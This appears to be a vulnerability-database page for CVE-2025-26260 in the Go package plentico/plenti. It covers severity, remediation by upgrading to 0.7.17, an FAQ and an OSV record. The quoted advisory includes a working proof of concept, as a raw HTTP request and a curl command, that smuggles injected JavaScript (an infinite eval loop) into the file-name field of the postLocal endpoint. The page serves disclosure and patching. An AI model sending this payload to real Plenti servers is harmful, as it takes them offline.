Vulnerabilities in pkg:golang/github.com/plentico/plenti

PACKAGE
Advisory Identifier: GHSA-mj4v-hp69-27x5
Advisory Summary

CVE-2025-26260 is a MODERATE (CVSS 6.5) denial of service vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Github.com/plentico/plenti libraries in the Go ecosystem. The issue involves plenti - code injection - denial of services. Remediation is available by upgrading affected packages to version 0.7.17.

4 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/plentico/plenti

4 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/plentico/plenti. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-mj4v-hp69-27x5 CVE-2025-26260 MODERATE Plenti - Code Injection - Denial of Services
GHSA-323w-6p85-26fr - MODERATE Duplicate Advisory: Plenti - Code Injection - Denial of Services
GHSA-6h8w-hrfp-pffx CVE-2024-49381 HIGH Plenti arbitrary file deletion vulnerability
GHSA-2p96-p7qh-4rgr CVE-2024-49380 HIGH Plenti arbitrary file write vulnerability

CVE-2025-26260 at a Glance

CVE Identifier CVE-2025-26260
GHSA Identifier GHSA-mj4v-hp69-27x5
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Github.com/plentico/plenti
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2025-26260

To remediate this vulnerability, upgrade all affected Github.com/plentico/plenti dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/plentico/plenti fixed: 0.7.17
Upgrade github.com/plentico/plenti to 0.7.17
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/plentico/plenti

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-26260, inspect your project dependencies for Github.com/plentico/plenti:

inspect dependencies for github.com/plentico/plenti

Analyze the terminal output to locate any version of Github.com/plentico/plenti in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.7.17), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Github.com/plentico/plenti, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary While pushing a file via postLocal method if user add javascript code in file parameter that codes can exe in v8go context. ### Details While posting a file via postLocal, any attacker will add javascript codes to file parameter. That parameter content pass to componentSignature method after some validation. After that componentSignature parameter concat with ssrStr parameter. <img width="1145" alt="image" src="https://github.com/user-attachments/assets/a08a3fe5-2fbd-4a05-b93c-2ad127e6ee81" /> Last part of compileSvelte function ssrStr parameter executed in v8go engine. <img width="754" alt="image" src="https://github.com/user-attachments/assets/4e622761-3324-48d6-8264-6dd6e09055af" /> This cause to any one who can post a file also can push javascript code and run it. Thanks to v8go we can't use all javascript metod, if there is no any vulnerability in v8go we can't escape sandbox and can't run dangerous command like opening socket etc. But we can create infinite loop and the plenti can't response any request. After posting a file with name 'layouts/global/test; eval(`while(1);`);var test.svelte' we can see the ssrStr parameter include our javascript codes. <img width="1023" alt="image" src="https://github.com/user-attachments/assets/369c7820-ff8a-4b9a-9cd3-6b0692f1dcf3" /> **Note**: Eval usage not must I just want to ensure that it's run javascript commands. ### PoC **Request** ``` POST /postlocal HTTP/1.1 Host: localhost:3000 Content-Length: 125 Content-Type: application/json; charset=utf-8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36 Accept-Encoding: gzip, deflate, br Connection: keep-alive [{"action":"create","encoding":"text","file":"layouts/global/test; eval(`while(1);`);var test.svelte","contents":"anethole"}] ``` **Video** ![PoC](https://github.com/user-attachments/assets/2aca36a1-6989-4be8-a8d1-3b12960f3e9b) **Curl Request** ``` curl --path-as-is -i -s -k -X $'POST' \ -H $'Host: localhost:3000' -H $'Content-Length: 125' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \ --data-binary $'[{\"action\":\"create\",\"encoding\":\"text\",\"file\":\"layouts/global/test; eval(`while(1);`);var test.svelte\",\"contents\":\"anethole\"}]' \ $'http://localhost:3000/postlocal' ``` ### Impact It's a remote code execution vulnerability. Because of the sandbox we can show only Denial of Service impact. Any vulnerability will be exists in v8go that cause to escape sandbox, different impacts can be show. **Note:** Plenti is using V8GO and V8GO is using V8 version of 11.1.278. This version released at 25 January 2023. After this date some RCE vulnerabilities founded in V8 like [CVE-2024-5830](https://github.com/advisories/GHSA-fchp-8m28-g68f),

CVE-2025-26260 Affected Github.com/plentico/plenti Versions

1 component(s)
Fixed Versions:
0.7.17
Product / Package Ecosystem Affected Versions Fixed Version
github.com/plentico/plenti
Go
< 0.7.17
0.7.17

References

Frequently Asked Questions

What is CVE-2025-26260?
CVE-2025-26260 is a security vulnerability in Github.com/plentico/plenti involving Plenti - Code Injection - Denial of Services under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Github.com/plentico/plenti versions are affected?
Affected versions include releases prior to 0.7.17 across affected packages: github.com/plentico/plenti.
What version fixes CVE-2025-26260?
Upgrading to 0.7.17 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/plentico/plenti affected?
Yes, github.com/plentico/plenti is affected in releases prior to 0.7.17. Upgrade your dependency to 0.7.17 or later.
What is the CVSS score of CVE-2025-26260?
CVE-2025-26260 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2025-26260?
CVE-2025-26260 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check Go dependencies for CVE-2025-26260?
Run the dependency tree command: 'inspect dependencies for github.com/plentico/plenti'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mj4v-hp69-27x5",
  "modified" : "2025-03-14T19:58:51Z",
  "published" : "2025-02-05T21:30:53Z",
  "aliases" : [ "CVE-2025-26260" ],
  "summary" : "Plenti  - Code Injection - Denial of Services",
  "details" : "### Summary\nWhile pushing a file via postLocal method if user add javascript code in file parameter that codes can exe in v8go context.\n\n### Details\nWhile posting a file via postLocal, any attacker will add javascript codes to file parameter. That parameter content pass to componentSignature method after some validation. After that componentSignature parameter concat with ssrStr parameter.\n\n<img width=\"1145\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a08a3fe5-2fbd-4a05-b93c-2ad127e6ee81\" />\n\nLast part of compileSvelte function ssrStr parameter executed in v8go engine.\n\n<img width=\"754\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4e622761-3324-48d6-8264-6dd6e09055af\" />\n\nThis cause to any one who can post a file also can push javascript code and run it. Thanks to v8go we can't use all javascript metod, if there is no any vulnerability in v8go we can't escape sandbox and can't run dangerous command like opening socket etc. But we can create infinite loop and the plenti can't response any request.\n\nAfter posting a file with name 'layouts/global/test; eval(`while(1);`);var test.svelte' we can see the ssrStr parameter include our javascript codes.\n\n<img width=\"1023\" alt=\"image\" src=\"https://github.com/user-attachments/assets/369c7820-ff8a-4b9a-9cd3-6b0692f1dcf3\" />\n\n**Note**: Eval usage not must I just want to ensure that it's run javascript commands.\n\n### PoC\n**Request**\n```\nPOST /postlocal HTTP/1.1\nHost: localhost:3000\nContent-Length: 125\nContent-Type: application/json; charset=utf-8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n\n[{\"action\":\"create\",\"encoding\":\"text\",\"file\":\"layouts/global/test; eval(`while(1);`);var test.svelte\",\"contents\":\"anethole\"}]\n```\n**Video**\n![PoC](https://github.com/user-attachments/assets/2aca36a1-6989-4be8-a8d1-3b12960f3e9b)\n\n**Curl Request**\n```\ncurl --path-as-is -i -s -k -X $'POST' \\\n    -H $'Host: localhost:3000' -H $'Content-Length: 125' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \\\n    --data-binary $'[{\\\"action\\\":\\\"create\\\",\\\"encoding\\\":\\\"text\\\",\\\"file\\\":\\\"layouts/global/test; eval(`while(1);`);var test.svelte\\\",\\\"contents\\\":\\\"anethole\\\"}]' \\\n    $'http://localhost:3000/postlocal'\n```\n\n### Impact\nIt's a remote code execution vulnerability. Because of the sandbox we can show only Denial of Service impact. Any vulnerability will be exists in v8go that cause to escape sandbox, different impacts can be show.\n\n**Note:** Plenti is using V8GO and V8GO is using V8 version of 11.1.278. This version released at 25 January 2023. After this date some RCE vulnerabilities founded in V8 like [CVE-2024-5830](https://github.com/advisories/GHSA-fchp-8m28-g68f),",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/plentico/plenti"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.7.17"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.7.16"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/plentico/plenti/security/advisories/GHSA-mj4v-hp69-27x5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-26260"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/plentico/plenti/commit/c3e72a9ebbc2a03f4b0f3104becbfc25e390cb8e"
  }, {
    "type" : "WEB",
    "url" : "https://ahmetakan.com/2025/02/14/cve-2025-26260"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ahmetak4n/vulnerability-playground/tree/main/vulnerability-research/CVE-2025-26260"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/plentico/plenti"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/plentico/plenti/releases/tag/v0.7.17"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2025-3454"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2025-3515"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-02-05T21:30:53Z",
    "nvd_published_at" : null
  }
}